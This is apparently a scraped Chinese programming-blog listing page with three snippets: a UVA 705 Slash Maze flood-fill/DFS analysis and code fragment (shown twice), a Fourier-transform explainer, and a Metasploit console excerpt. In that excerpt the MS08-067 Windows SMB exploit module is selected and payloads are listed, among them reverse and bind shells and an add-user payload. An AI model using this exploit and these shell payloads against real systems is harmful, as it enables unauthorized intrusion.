nx

UVA 705 - Slash Maze (Flood_Fill + DFS)

梦想的初衷 提交于 2019-11-26 17:40:37
分析: 1. 可以知道的是,給定的 slash Maze 中只存在 ‘/’ 和 ‘\’ ,將斜線或反斜線離散化為 3 * 3 單位的方格,比如 用數字 1 表示單位被覆蓋,數字 0 表示單位是空白,則 / 0 0 1 0 1 0 1 0 0 也可以用 2 * 2 的單元格表示圖像,但是需要特判,而這種方法不需要特判,而且相對容易實現 2. 對圖像的邊界使用 Flood Fill 染色為數字 2,因為邊界部分不可能構成環(想一想),排除不構成環的部分 3. 第 2 步以后,對 slash Maze 數字為 0 的空格使用 dfs 找出最大的環長度,也可以使用 flood fill 直接找出 1 /* 2 PROG: Slash Maze 3 ID : yewei 4 LANG: C++ 5 */ 6 #pragma warnning (disable : 4786) 7 8 #include <memory.h> 9 #include <cstdio> 10 #include <cstdlib> 11 #include <cstring> 12 #include <iostream> 13 14 using namespace std; 15 16 const int MAXN = 229 ; 17 const int dx[] = {- 1 , 1 , 0 , 0 }; 18

UVA 705 - Slash Maze (Flood_Fill + DFS)

☆樱花仙子☆ 提交于 2019-11-26 17:39:56
分析: 1. 可以知道的是,給定的 slash Maze 中只存在 ‘/’ 和 ‘\’ ,將斜線或反斜線離散化為 3 * 3 單位的方格,比如 用數字 1 表示單位被覆蓋,數字 0 表示單位是空白,則 / 0 0 1 0 1 0 1 0 0 也可以用 2 * 2 的單元格表示圖像,但是需要特判,而這種方法不需要特判,而且相對容易實現 2. 對圖像的邊界使用 Flood Fill 染色為數字 2,因為邊界部分不可能構成環(想一想),排除不構成環的部分 3. 第 2 步以后,對 slash Maze 數字為 0 的空格使用 dfs 找出最大的環長度,也可以使用 flood fill 直接找出 1 /* 2 PROG: Slash Maze 3 ID : yewei 4 LANG: C++ 5 */ 6 #pragma warnning (disable : 4786) 7 8 #include <memory.h> 9 #include <cstdio> 10 #include <cstdlib> 11 #include <cstring> 12 #include <iostream> 13 14 using namespace std; 15 16 const int MAXN = 229 ; 17 const int dx[] = {- 1 , 1 , 0 , 0 }; 18

exploit/windows/smb/ms08_067_netapi

前提是你 提交于 2019-11-26 09:22:40
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- generic/custom normal Custom Payload generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop windows/adduser normal Windows Execute net user /ADD windows/dllinject/bind_ipv6_tcp normal Reflective Dll

如何直观的理解傅里叶变换?

我与影子孤独终老i 提交于 2019-11-26 07:55:52
文章目录 1. 直观解释 2. 时域:旋转与傅立叶级数 2.1 欧拉公式 2.2 火星的轨迹曲线 2.3 旋转的傅立叶 3. 频域:线性代数与傅立叶级数 3.1 线性代数 3.2 傅立叶级数的基 3.3 傅立叶级数向量 3.4 频谱图 3.5 应用 3.5.1 图像压缩 3.5.2 模式识别 4 傅立叶级数和傅立叶变换 彩虹,大概是我们在自然界中最容易观察到的傅立叶级数。 1. 直观解释 1666年牛顿发现太阳光经三棱镜的折射后可呈现彩色光,称为光的色散现象: 先说一个物理常识,光是一种波,而光的颜色由振幅和频率所决定。 所以色散实际上是,白色的光波被分解为七色光波(实际应该是无数种颜色的光波): 七色光波可以用正弦波 a n s i n ( n x ) a_nsin(nx) a n ​ s i n ( n x ) (其中 a n a_n a n ​ 是振幅, n x n_x n x ​ 可以表示频率)来近似。因此上面实际就是傅立叶级数(下面只是傅立叶级数的非常不准确的近似,为了帮助理解简化成了这样子,后面会给出严格定义): 白 色 = ∑ a n s i n ( n x ) 白色=\sum a_n sin(nx) 白 色 = ∑ a n ​ s i n ( n x ) 雨过天晴,有时就会看见彩虹: 雨后空气中的水分就好像无数的三菱镜,把太阳光拆成了彩色。正是大自然中的色散现象。